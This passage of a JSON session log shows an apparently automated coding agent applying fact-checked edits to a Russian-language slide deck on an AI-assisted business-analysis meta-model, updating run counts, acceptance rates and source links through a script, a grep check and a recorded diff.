\u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430,\\n> \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb. RUN-0059 \u0441 fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c\\n> \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445 endpoint'\u043e\u0432.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7.\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n[\u043a\u0435\u0439\u0441 RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\\\"\\\"\\\",\\n\\\"\\\"\\\"| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-BIZ, V-APPROVE, V-DEV, V-CONTRACT | \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0432 \u043f\u0430\u043a\u0435\u0442\u0435; \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 |\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. 860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043d\u043e\u0432\u043e\u0433\u043e.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](\\\"\\\"\\\",\\n\\\"\\\"\\\"[860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432 14 \u0441\u043b\u043e\u0442\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md),\\n[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 |\\\"\\\"\\\",\\\"\\\"\\\"| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (\u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026), 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 |\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 |\\\"\\\"\\\",\\\"\\\"\\\"| 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u043a\u0438 | [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md) |\\n| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 |\\\"\\\"\\\")\\nopen(p,'w').write(s)\\nEOF\\ngrep -n \\\"\u0416\u0430\u043a\u043a\u0430\u0440\u0443\\\\|13 \u0437\u0430\u0434\u0430\u0447\\\" 2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:06.850Z] [INFO]       \"description\": \"Apply verified-fact edits to slides\"\n[2026-09-29T07:51:06.850Z] [INFO]     }\n[2026-09-29T07:51:06.850Z] [INFO]   }\n[2026-09-29T07:51:06.850Z] [INFO] }\n[2026-09-29T07:51:08.496Z] [INFO] {\n[2026-09-29T07:51:08.496Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:08.496Z] [INFO]   \"message\": {\n[2026-09-29T07:51:08.496Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:08.496Z] [INFO]     \"content\": [\n[2026-09-29T07:51:08.496Z] [INFO]       {\n[2026-09-29T07:51:08.496Z] [INFO]         \"tool_use_id\": \"toolu_014xtVUv2an1KDVJwJkCaQo8\",\n[2026-09-29T07:51:08.496Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:08.496Z] [INFO]         \"content\": \"194:  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\",\n[2026-09-29T07:51:08.496Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:08.496Z] [INFO]       }\n[2026-09-29T07:51:08.496Z] [INFO]     ]\n[2026-09-29T07:51:08.496Z] [INFO]   },\n[2026-09-29T07:51:08.496Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:08.496Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:08.496Z] [INFO]   \"uuid\": \"f9e091ec-fd18-4439-80f0-db0e569327b2\",\n[2026-09-29T07:51:08.496Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:08.480Z\",\n[2026-09-29T07:51:08.496Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:08.496Z] [INFO]     \"stdout\": \"194:  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\",\n[2026-09-29T07:51:08.496Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:08.496Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:08.496Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:08.496Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:51:08.496Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:51:08.496Z] [INFO]       \"files\": [\n[2026-09-29T07:51:08.496Z] [INFO]         {\n[2026-09-29T07:51:08.496Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:08.496Z] [INFO]           \"hunks\": [\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 113,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 14,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 113,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 15,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041a\u043b\u0438\u0435\u043d\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c; \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u2014 \u0422\u0417, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0432 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0435.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445, \u043a\u0430\u0436\u0434\u0430\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441: \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u043a\u043e\u0439\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u0430\u043d\u0430\u043b\u0438\u0437 \u2192 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445 \u2014 \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> \u0441\u043b\u043e\u0432\u0430\u0440\u044c, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u2192 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0441 \u0442\u043e\u0447\u043a\u0430\u043c\u0438, \u0433\u0434\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 154,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 6,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 155,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   NFR (5 \u043c\u0438\u043d, 100 \u043c\u0441, 2 \u0441, 24/7) \u2014 \u0432\u0441\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+- \u0418\u0442\u043e\u0433 \u0440\u0443\u0447\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014 6%.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" > **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" > \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 175,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 178,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 6%](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" ---\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 183,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 17,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 187,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 19,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-- \u0421\u0442\u0430\u0440\u0442: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 (stepwise, oneshot, legacy) \u043d\u0430 13\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  \u0437\u0430\u0434\u0430\u0447. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-- 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432: \u043d\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0433\u0435\u0439\u0442\u0430.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-- \u0427\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-- \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals 